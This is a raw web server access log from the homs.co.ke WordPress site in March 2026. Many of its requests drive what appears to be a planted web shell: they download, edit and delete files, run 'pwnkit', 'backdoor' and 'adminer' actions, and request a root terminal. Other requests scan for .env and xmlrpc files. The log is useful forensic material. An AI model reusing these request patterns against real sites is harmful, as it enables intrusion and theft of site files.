/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-simplepie.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.79 - - [06/Mar/2026:21:31:21 -0700] "GET /?act=download&file=Crypto.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3Jj HTTP/1.1" 200 4264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.120 - - [06/Mar/2026:21:31:21 -0700] "GET /?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.138 - - [06/Mar/2026:21:31:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment-template.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 170.106.181.163 - - [06/Mar/2026:21:31:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&act=edit&file=pattern-overrides.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 101.33.66.34 - - [06/Mar/2026:21:41:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=pwnkit HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 101.33.66.34 - - [06/Mar/2026:21:41:19 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&terminal=root HTTP/1.1" 200 4738 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=pwnkit" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.204.74 - - [06/Mar/2026:21:45:03 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 192.109.200.129 - - [06/Mar/2026:21:51:21 -0700] "GET /wp-login.php HTTP/1.1" 409 83 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" homs.co.ke 10.38.197.90 192.109.200.129 - - [06/Mar/2026:21:51:21 -0700] "GET /wp-admin/ HTTP/1.1" 404 - "https://t.co/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.135.133.241 - - [06/Mar/2026:21:51:37 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ= HTTP/1.1" 200 4409 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.167.232.38 - - [06/Mar/2026:22:01:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&act=download&file=post-meta.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 94.183.188.117 - - [06/Mar/2026:22:02:40 -0700] "GET /wp-json HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 YaBrowser/25.12.0.0 Safari/537.36" homs.co.ke 10.38.197.90 94.183.188.117 - - [06/Mar/2026:22:03:18 -0700] "GET /wp-json HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Cursor/2.2.44 Chrome/138.0.7204.251 Electron/37.7.0 Safari/537.36" homs.co.ke 10.38.197.90 94.183.188.117 - - [06/Mar/2026:22:03:59 -0700] "GET /?rest_route=/ HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) obsidian/1.10.6 Chrome/138.0.7204.251 Electron/37.10.2 Safari/537.36" homs.co.ke 10.38.197.90 94.183.188.117 - - [06/Mar/2026:22:04:51 -0700] "GET /?rest_route=/ HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.130.53.252 - - [06/Mar/2026:22:10:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=adminer HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.130.53.252 - - [06/Mar/2026:22:10:09 -0700] "GET /adminer.php HTTP/1.1" 409 83 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=adminer" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.182.166 - - [06/Mar/2026:22:10:48 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-object-cache.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.195 - - [06/Mar/2026:22:10:48 -0700] "GET /?act=download&file=class-wp-user.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.6 - - [06/Mar/2026:22:10:48 -0700] "GET /?act=edit&file=class-wp-sitemaps-provider.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBz HTTP/1.1" 200 6155 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.197 - - [06/Mar/2026:22:10:48 -0700] "GET /?act=download&file=class-smtp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.38 - - [06/Mar/2026:22:10:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBz HTTP/1.1" 200 5578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.22.48 - - [06/Mar/2026:22:10:49 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.196 - - [06/Mar/2026:22:10:49 -0700] "GET /?act=edit&file=class-wp-rest-search-handler.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL3NlYXJjaA== HTTP/1.1" 200 5325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.81 - - [06/Mar/2026:22:10:49 -0700] "GET /?act=download&file=class-wp-user.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-user.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.109 - - [06/Mar/2026:22:10:49 -0700] "GET /?act=download&file=class-wp-xmlrpc-server.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.151 - - [06/Mar/2026:22:10:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0&terminal=root HTTP/1.1" 200 7062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.60 - - [06/Mar/2026:22:10:50 -0700] "GET /?act=edit&file=class-wp-sitemaps-provider.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.210 - - [06/Mar/2026:22:11:45 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L251eA== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.132 - - [06/Mar/2026:22:11:45 -0700] "GET /?act=edit&file=class-wp-network-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 11073 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.153 - - [06/Mar/2026:22:11:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L251eA==&terminal=root HTTP/1.1" 200 5133 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.229 - - [06/Mar/2026:22:16:52 -0700] "GET /?act=download&file=class-phpass.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.22 - - [06/Mar/2026:22:16:52 -0700] "GET /?act=edit&file=query-medium-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 5006 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.153.123.3 - - [06/Mar/2026:22:21:10 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=backdoor HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.153.123.3 - - [06/Mar/2026:22:21:14 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&status=success HTTP/1.1" 200 4905 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&action=backdoor" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 52.167.144.136 - - [06/Mar/2026:22:25:40 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=user.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 49.51.183.84 - - [06/Mar/2026:22:30:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&del=post-meta.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 52.167.144.225 - - [06/Mar/2026:22:36:13 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-customize-widgets.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 52.167.144.220 - - [06/Mar/2026:22:37:13 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-theme.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.159.128.155 - - [06/Mar/2026:22:40:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz&act=download&file=pattern-overrides.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 40.77.167.19 - - [06/Mar/2026:22:44:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=plugin.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.159.149.216 - - [06/Mar/2026:22:52:07 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ=&action=adminer HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.159.149.216 - - [06/Mar/2026:22:52:09 -0700] "GET /adminer.php HTTP/1.1" 409 83 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ=&action=adminer" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 152.42.254.29 - - [06/Mar/2026:22:52:47 -0700] "GET /.env HTTP/1.1" 406 226 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" homs.co.ke 10.38.197.90 152.42.254.29 - - [06/Mar/2026:22:52:48 -0700] "POST / HTTP/1.1" 406 226 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" homs.co.ke 10.38.197.90 52.167.144.203 - - [06/Mar/2026:22:57:10 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=block-i18n.json HTTP/1.1" 200 57649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /xmlrpc.php?rsd HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 169.150.203.245 - - [06/Mar/2026:23:09:15 -0700] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 406 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" homs.co.ke 10.38.197.90 43.173.174.180 - - [06/Mar/2026:23:17:43 -0700] "GET /?act=edit&file=readonly.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ= HTTP/1.1" 200 5064 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.20 - - [06/Mar/2026:23:17:43 -0700] "GET /?act=download&file=error-protection.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.154.140.188 - - [06/Mar/2026:23:17:56 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.181.185 - - [06/Mar/2026:23:18:43 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=default-constants.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 35.93.46.85 - - [06/Mar/2026:23:18:56 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582" homs.co.ke 10.38.197.90 43.173.175.209 - - [06/Mar/2026:23:21:43 -0700] "GET /?act=download&file=class-wp-duotone.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.186 - - [06/Mar/2026:23:21:43 -0700] "GET /?del=Core32&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3Jj HTTP/1.1" 200 5749 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.74 - - [06/Mar/2026:23:21:43 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2VkaXQtcG9zdA== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.67 - - [06/Mar/2026:23:21:45 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2VkaXQtcG9zdA==&terminal=root HTTP/1.1" 200 6117 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 185.242.3.19 - - [06/Mar/2026:23:22:28 -0700] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" homs.co.ke 10.38.197.90 43.163.22.215 - - [06/Mar/2026:23:24:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 